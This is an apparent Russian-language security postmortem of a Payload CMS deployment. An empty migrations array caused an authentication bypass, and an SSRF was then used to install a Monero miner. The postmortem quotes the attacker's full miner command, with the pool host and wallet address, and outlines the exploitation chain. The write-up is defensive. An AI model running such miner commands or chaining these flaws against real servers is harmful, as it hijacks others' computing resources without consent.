Безопасность

Когда AI-разрушение ломает всё

Дата публикации

🚨

3 января 2026: Инцидент с майнером Monero

vibelie.com production server

На production-сервере был обнаружен майнер криптовалюты Monero:

/tmp/.x/m -o gulf.moneroocean.stream:10128 \
  -u 43yiB8RenFLGQdK97HGVpLjVeQaCSWDbaec2ZQcav6e7a3QnDEmKq3t3oUoQD9HgwXAW8RQTWUdXxN5WGtpStxAtRrH5Pmf \
  --cpu-max-threads-hint=75 -B --donate-level=0
⚠️

🔍 Анализ первопричины

Payload CMS был развёрнут без запуска миграций базы данных, оставив базу полностью пустой (без таблиц, без пользователей). Система аутентификации утилиты canAccessAdmin разрешает доступ, когда пользователей не существует для первоначальной настройки — но с пустой базой данных это создало постоянный обход аутентификации.

ℹ️

📜 Хронология событий

  • 29 ноября — Коммит 375693a: Добавлен prodMigrations в конфигурацию Payload
  • 1 декабря — Коммит 508b37d: Создан migrations/index.ts с пустым массивом для исправления ошибок TypeScript
  • Декабрь — Приложение развёрнуто без запуска миграций
  • 3 января — Обнаружен майнер Monero, работающий от пользователя 1001
ℹ️

⚠️ Что пошло не так

  1. Пустой массив миграций: Файл migrations/index.ts экспортировал пустой массив вместо запуска инициализации Payload CMS
  2. Тихий сбой развёртывания: Скрипт развёртывания использовал || { warning ... } для продолжения даже при сбое миграций
  3. Нет проверки работоспособности аутентификации: Приложение отвечало на проверки работоспособности, но не имело функционирующей аутентификации
  4. Уязвимость SSRF: Функция fetchFileByURL() в endpoint'е для начального наполнения могла скачивать произвольные файлы

Цепочка эксплуатации

  1. Пустая база данных — Таблица пользователей не существует
  2. Обход аутентификацииcanAccessAdmin разрешает доступ, когда нет пользователей
  3. Доступ к endpoint'ам — Злоумышленник достигает защищённых маршрутов
  4. RCE — Загрузка и выполнение майнера через SSRF

✅ Уроки, извлечённые из ситуации

Безопасность развёртывания

  • Никогда не подавляйте сбои миграций в production
  • Проверяйте существование схемы базы данных перед развёртыванием
  • Добавьте проверки работоспособности, verifying функциональность аутентификации
  • Явно запускайте payload migrate во время развёртывания

Анализ кода

  • Пустые массивы в критических путях — красные флаги
  • Скрипты развёртывания, сгенерированные ИИ, нуждаются в проверке
  • "Исправление ошибок TypeScript" не должно отключать функциональность
  • Проверяйте аутентификацию перед экспозицией в интернет
ℹ️

🛡️ Реализованное решение

Добавлен скрипт точки входа в Docker, проверяющий инициализацию базы данных перед запуском приложения.

# docker-entrypoint.sh проверки:
✓ Доступ к базе данных доступен
✓ Таблицы Payload CMS существуют (users, payload_media и т.д.)
✓ Зарегистрирован хотя бы один пользователь (предупреждает, если нет)
✗ Завершает запуск с ясной ошибкой, если какая-либо проверка не проходит

Приложение теперь отказывается запускаться с неинициализированной базой данных, отображая:

✗ ОШИБКА: База данных Payload CMS не инициализирована!
В базе данных отсутствуют необходимые таблицы.
Для исправления: docker compose run --rm vibelie npx payload migrate
#security#rce#deployment#payloadcms